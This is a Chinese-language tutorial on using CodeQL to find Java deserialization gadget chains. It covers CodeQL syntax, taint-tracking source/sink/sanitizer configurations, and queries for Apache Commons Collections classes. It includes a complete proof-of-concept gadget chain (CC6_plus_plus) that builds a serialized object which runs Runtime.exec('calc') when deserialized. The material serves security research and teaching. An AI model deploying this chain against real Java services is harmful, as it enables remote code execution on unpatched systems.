细谈使用CodeQL进行反序列化链的挖掘过程

cd ～/CodeQL&git clone https://github.com/Semmle/ql

import java
from Parameter pwhere not exists( p.getAnAccess() )select p

from Person twhere t.getAge() = max(int i | exists(Person p | p.getAge() = i) | i)select t
select max(Person p | | p order by p.getAge())
min(Person p | p.getLocation() = "east" | p order by p.getHeight())
count(Person p | p.getLocation() = "south" | p)
avg(Person p | | p.getHeight())
sum(Person p | p.getHairColor() = "brown" | p.getAge())

codeql.exe database create test --language=java --command="mvn clean compile --file pom.xml -Dmaven.test.skip=true" --source-root=../micro_service_seclab/# 如何mvn编译报错使用 mvn compile -fn忽略错误

method.getName() 获取的是当前方法的名称method.getDeclaringType() 获取的是当前方法所属class的名称。method.hasName() 判断是否有该方法
import java
from Method methodwhere method.hasName("getStudent")select method.getName(), method.getDeclaringType()

predicate 表示当前方法没有返回值。exists子查询，是CodeQL谓词语法里非常常见的语法结构，它根据内部的子查询返回true or false，来决定筛选出哪些数据。
import java
predicate isStudent(Method method) {exists(|method.hasName("getStudent"))}
from Method methodwhere isStudent(method)select method.getName(), method.getDeclaringType()

//没有结果的谓词predicate isSmall(int i) {  i in [1 .. 9]}//带有返回结果的谓词int getSuccessor(int i) {  result = i + 1 and  i in [1 .. 9]} //如果i是小于10的正整数，那么谓词的返回结果就是i后面的那个整数

什么是source和sink在代码自动化安全审计的理论当中，有一个最核心的三元组概念，就是(source，sink和sanitizer)。source是指漏洞污染链条的输入点。比如获取http请求的参数部分，就是非常明显的Source。sink是指漏洞污染链条的执行点，比如SQL注入漏洞，最终执行SQL语句的函数就是sink(这个函数可能叫query或者exeSql，或者其它)。sanitizer又叫净化函数，是指在整个的漏洞链条当中，如果存在一个方法阻断了整个传递链，那么这个方法就叫sanitizer。

override predicate isSource(DataFlow::Node src) {}
// 通用的source入口规则override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

override predicate isSink(DataFlow::Node sink) {
  }
// 查找一个query()方法的调用点，并把它的第一个参数设置为sinkoverride predicate isSink(DataFlow::Node sink) {exists(Method method, MethodAccess call |  method.hasName("query")  and  call.getMethod() = method and  sink.asExpr() = call.getArgument(0))}

from VulConfig config, DataFlow::PathNode source, DataFlow::PathNode sinkwhere config.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"
//我们传递给config.hasFlowPath(source, sink)我们定义好的source和sink，系统就会自动帮我们判断是否存在漏洞了

codeql database analyze /CodeQL/databases/micro-service-seclab /CodeQL/ql/java/ql/examples/demo --format=csv --output=/CodeQL/Result/micro-service-seclab.csv --rerun

import java import semmle.code.java.dataflow.FlowSourcesimport semmle.code.java.security.QueryInjectionimport DataFlow::PathGraph
class VulConfig extends TaintTracking::Configuration {    VulConfig() { this = "SqlinjectionConfig" }
    override predicate isSource(DataFlow::Node source) {        source instanceof RemoteFlowSource    }
    override predicate isSink(DataFlow::Node sink) {        exists(Method method, MethodAccess call |             method.hasName("query")            and call.getMethod() = method            and sink.asExpr() = call.getArgument(0))    }}
from VulConfig vulconfig, DataFlow::PathNode source, DataFlow::PathNode sinkwhere vulconfig.hasFlowPath(source, sink)select source.getNode(), source, sink, "source"

override predicate isSanitizer(DataFlow::Node node) {    node.getType() instanceof PrimitiveType or    node.getType() instanceof BoxedType or    node.getType() instanceof NumberType or    exists(ParameterizedType pt | node.getType() = pt and    pt.getTypeArgument(0) instanceof NumberType)}

/** A data flow source of remote user input. */abstract class RemoteFlowSource extends DataFlow::Node {  /** Gets a string that describes the type of this remote flow source. */  abstract string getSourceType();}

import java
from Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType().getEnclosingType()   // getEnclosingtype获取作用域

from Class classeswhere classes.getName().toString() = "innerTwo"select classes.getEnclosingType+()   // 获取作用域

import java
from Parameter paramselect param, param.getType().(IntegralType) //筛选出getType方法符合后面了类型的结果

class TransformCallable extends Callable {    TransformCallable() {        this.getName().matches("transform") and        this.getNumberOfParameters() = 1    }}

class ClosureCallable extends Callable {    ClosureCallable() {        this.getName().matches("execute") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")    }}

class FactoryCallable extends Callable {    FactoryCallable() {        this.getName().matches("create") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory")    }}

/** * @kind path-problem */import java
class ConstructCallable extends Callable {    ConstructCallable() {        this instanceof Constructor    }}
class MethodCallable extends Callable {    MethodCallable() {        this.getName().matches("newTransformer") and        this.getDeclaringType().getName().matches("TemplatesImpl")    }}
query predicate edges(Callable a, Callable b) {    a.polyCalls(b)}
from MethodCallable endcall, ConstructCallable entrypointwhere edges+(entrypoint, endcall)select endcall, entrypoint, endcall, "find Contructor in jdk"

import org.apache.commons.collections.Factory;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.FactoryTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;
public class CC6_plus_plus {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static void main(String[] args) throws Exception{        //仿照ysoserial中的写法，防止在本地调试的时候触发命令        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),                new ConstantTransformer(1),        };        Transformer transformerChain = new ChainedTransformer(faketransformers);        Map innerMap = new HashMap();        Map outMap = LazyMap.decorate(innerMap, transformerChain);
        //实例化        TiedMapEntry tme = new TiedMapEntry(outMap, "key");        Map expMap = new HashMap();        //将其作为key键传入        expMap.put(tme, "value");
        //remove        outMap.remove("key");
        //传入利用链        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");        f.setAccessible(true);        f.set(transformerChain, transformers);
        Class c;        c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");        Constructor constructor = c.getDeclaredConstructor(Serializable.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(expMap);
        FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) o);
        ConstantTransformer constantTransformer = new ConstantTransformer(1);
        Map innerMap1 = new HashMap();        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);
        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "keykey");
        Map expMap1 = new HashMap();        expMap1.put(tme1, "valuevalue");        setFieldValue(outerMap1,"factory",factoryTransformer);
        outerMap1.remove("keykey");        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);        objectOutputStream.writeObject(expMap);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);        objectInputStream.readObject();    }}

import java
class CloneCallable extends Callable{    CloneCallable() {        this.getName().matches("clone")    }}from CloneCallable cselect c,c.getBody(), c.getDeclaringType()

import java
class PredicateCallable extends Callable {    PredicateCallable() {        this.getName().matches("evaluate") and        this.getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate")    }}
from PredicateCallable c select c, c.getBody(), c.getDeclaringType()